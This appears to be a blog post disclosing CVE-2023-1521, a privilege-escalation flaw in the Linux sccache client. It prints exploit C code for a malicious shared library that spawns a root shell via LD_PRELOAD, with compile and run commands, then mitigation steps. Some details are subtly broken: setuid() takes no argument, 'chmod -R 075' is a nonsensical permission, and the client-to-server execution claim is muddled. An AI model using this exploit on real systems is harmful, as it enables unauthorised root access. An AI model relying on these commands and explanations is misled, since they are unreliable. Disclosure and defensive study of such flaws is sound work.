CVE-2023-1521: Linux sccache Client Vulnerability Leads to Arbitrary Code Execution and Privilege Escalation

A critical vulnerability has been discovered in the sccache client for Linux operating systems, which has been assigned the CVE identifier CVE-2023-1521. This vulnerability can lead to arbitrary code execution with the privileges of a local sccache server. Further, if the sccache server is run as root (which is the default configuration when installed using the snap package), this means a user running the vulnerable sccache client can potentially obtain root privileges, leading to severe security implications.

In this post, we will detail the nature of the CVE-2023-1521 vulnerability, its potential impact, and the steps required to mitigate the issue, including code snippets and references to original sources for further information.

Exploit Details

The root cause of the CVE-2023-1521 vulnerability is the sccache client's mishandling of shared libraries passed to the LD_PRELOAD environment variable. An attacker can exploit this by preloading malicious code in a shared library and executing it through the client. When the sccache server handles the malicious code, it executes it with its own privileges, potentially allowing escalation to root access if the server is run with root privileges.

For example, consider the following code snippet that demonstrates how an attacker might create a malicious shared library exploit.c:

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <dlfcn.h>

void _init(void) {
    printf("[+] Executing arbitrary code in _init function\n");
    setuid(); // Elevate to root
    system("/bin/sh"); // Execute a shell
}

An attacker can compile this code into a shared library using the command

gcc -shared -o exploit.so exploit.c -fPIC -nostartfiles

To exploit the vulnerability, an attacker would then execute the sccache client with the LD_PRELOAD environment variable set to the compiled shared library:

LD_PRELOAD=./exploit.so sccache

This would trigger the execution of malicious code within the context of the sccache server, potentially leading to privilege escalation and full system compromise.

Mitigation and Recommendations

As a temporary mitigation, administrators should avoid running the sccache server as root, as this limits potential damage caused by the vulnerability. Instead, run the server with reduced privileges by creating a dedicated user account for sccache:

sudo useradd -m -s /bin/bash sccache_user
sudo chown -R sccache_user /path/to/sccache/directory
sudo chmod -R 075 /path/to/sccache/directory
sudo -u sccache_user sccache

However, this mitigation does not fully address the underlying issue. The ultimate solution would involve the sccache developers releasing an updated, secure version of the software that properly handles shared libraries passed to the LD_PRELOAD environment variable.

Users and administrators are strongly encouraged to monitor the official sccache repository (https://github.com/mozilla/sccache) and the associated CVE-2023-1521 advisory for the availability of a patch addressing this vulnerability.

Conclusion

The CVE-2023-1521 vulnerability in the sccache client for Linux systems can lead to severe consequences when exploited, including arbitrary code execution and privilege escalation to root access. Administrators should carefully evaluate the risks and implement the recommended mitigations to protect their systems. It is crucial to stay up-to-date with software patches and security advisories to maintain the security and integrity of your infrastructure.

Timeline

Published on: 11/26/2024 12:15:18 UTC
Last modified on: 11/26/2024 21:15:04 UTC